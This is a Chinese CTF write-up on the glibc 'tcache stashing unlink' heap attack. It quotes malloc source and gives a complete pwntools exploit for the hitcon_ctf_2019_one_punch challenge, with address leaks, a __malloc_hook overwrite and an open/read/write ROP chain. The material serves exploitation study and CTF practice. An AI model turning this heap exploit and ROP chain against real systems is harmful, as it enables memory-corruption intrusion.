tcache stashing unlink attack
tcache stashing unlink atttack 主要利用的是 calloc 函数会绕过 tcache 从smallbin 里取出 chunk 的特性。并且 smallbin 分配后,同大小的空闲块挂进会 tcache。这个攻击可实现两个效果:
1、任意地址上写一个较大的数(和unsortedbin attack 类似)
2、任意地址分配chunk
下面是关键源码:
if (in_smallbin_range (nb)) { idx = smallbin_index (nb); bin = bin_at (av, idx); if ((victim = last (bin)) != bin) { bck = victim->bk; if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): smallbin double linked list corrupted"); set_inuse_bit_at_offset (victim, nb); bin->bk = bck; bck->fd = bin; if (av != &main_arena) set_non_main_arena (victim); check_malloced_chunk (av, victim, nb); #if USE_TCACHE /* While we're here, if we see other chunks of the same size, stash them in the tcache. */ size_t tc_idx = csize2tidx (nb); if (tcache && tc_idx < mp_.tcache_bins) { mchunkptr tc_victim; /* While bin not empty and tcache not full, copy chunks over. */ while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin)) != bin) { if (tc_victim != 0) { bck = tc_victim->bk; set_inuse_bit_at_offset (tc_victim, nb); if (av != &main_arena) set_non_main_arena (tc_victim); bin->bk = bck; bck->fd = bin; tcache_put (tc_victim, tc_idx); } } } #endif void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } }
源码里对第一个分配出来的 chunk 进行了链表完整性的检查,但是之后将 chunk 放入 tcache 里时并没有进行这个检查。 那么 bck->fd = bin 就可以实现任意地址处写进一个 main_arena 的值进去。如果我们可以控制 target_addr->fd 也就是 target_addr + 0x10 处为一个可写地址,我们也可以把他放进 tcache,达成任意地址分配 chunk。
例题:BUUCTF hitcon_ctf_2019_one_punch
from pwn import * context.arch = 'amd64' context.log_level = 'debug' s = process('./hitcon_ctf_2019_one_punch') libc = ELF('./glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so') def add(index,name): s.sendlineafter(b'> ' , b'1') s.sendlineafter(b'idx: ' , str(index)) s.sendafter(b'hero name: ' , name) def edit(index,name): s.sendlineafter(b'> ' , b'2') s.sendlineafter(b'idx: ' , str(index)) s.sendafter(b'hero name: ' , name) def show(index): s.sendlineafter(b'> ' , b'3') s.sendlineafter(b'idx: ' , str(index)) def delete(index): s.sendlineafter(b'> ' , b'4') s.sendlineafter(b'idx: ' , str(index)) def backdoor(content): s.sendlineafter(b'> ' , b'50056') s.send(content) add(0 , b'a'*0x218) add(1 , b'a'*0x80) for i in range(6): delete(1) edit(1 , b'a'*0x10) for i in range(6): delete(0) edit(0 , b'a'*0x10) delete(0) show(0) s.recvuntil(b'hero name: ') heap_addr = u64(s.recv(6).ljust(8,b'\x00')) success('heap_addr=>' + hex(heap_addr)) edit(0 , b'a'*0x10) delete(0) show(0) s.recvuntil(b'hero name: ') libc_base = u64(s.recv(6).ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook'] success('libc_base=>' + hex(libc_base)) __malloc_hook = libc_base + libc.sym['__malloc_hook'] pop_rdi_ret = libc_base + 0x0000000000026542 pop_rsi_ret = libc_base + 0x0000000000026f9e pop_rdx_ret = libc_base + 0x000000000012bda6 pop_rax_ret = libc_base + 0x0000000000047cf8 syscall_ret = libc_base + libc.sym['write'] + 0x12 add_rsp_0x48_ret = libc_base + 0x0000000000044734 bss_addr = libc_base + libc.bss() add(1 , b'a'*0x180) add(1 , b'a'*0x400) add(2 , b'a'*0x100) for i in range(7): delete(1) edit(1 , b'a'*0x10) delete(1) add(2 , b'a'*0x370) add(2 , b'a'*0x400) fd = heap_addr + 0x180 bk = heap_addr - 0x260 + 0x20 payload = b'a'*0x370 + p64(0) + p64(0x91) payload+= p64(fd) + p64(bk) edit(1 , payload) add(1 , b'b'*0x80) edit(0 , p64(__malloc_hook)) backdoor(b'./flag\x00\x00') orw = p64(pop_rdi_ret) + p64(heap_addr) orw+= p64(pop_rsi_ret) + p64(0) orw+= p64(pop_rdx_ret) + p64(0) orw+= p64(pop_rax_ret) + p64(2) orw+= p64(syscall_ret) orw+= p64(pop_rdi_ret) + p64(3) orw+= p64(pop_rsi_ret) + p64(bss_addr+0x100) orw+= p64(pop_rdx_ret) + p64(0x30) orw+= p64(pop_rax_ret) + p64(0) orw+= p64(syscall_ret) orw+= p64(pop_rdi_ret) + p64(1) orw+= p64(pop_rsi_ret) + p64(bss_addr+0x100) orw+= p64(pop_rdx_ret) + p64(0x30) orw+= p64(pop_rax_ret) + p64(1) orw+= p64(syscall_ret) backdoor(p64(add_rsp_0x48_ret)) add(1 , orw) #gdb.attach(s) s.interactive()
参考链接:
https://blog.csdn.net/qq_41202237/article/details/113604261?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_title~default-0.pc_relevant_default&spm=1001.2101.3001.4242.1&utm_relevant_index=3
https://blog.csdn.net/A951860555/article/details/116296185
https://blog.csdn.net/qq_51474381/article/details/116542248
https://blog.csdn.net/seaaseesa/article/details/105870247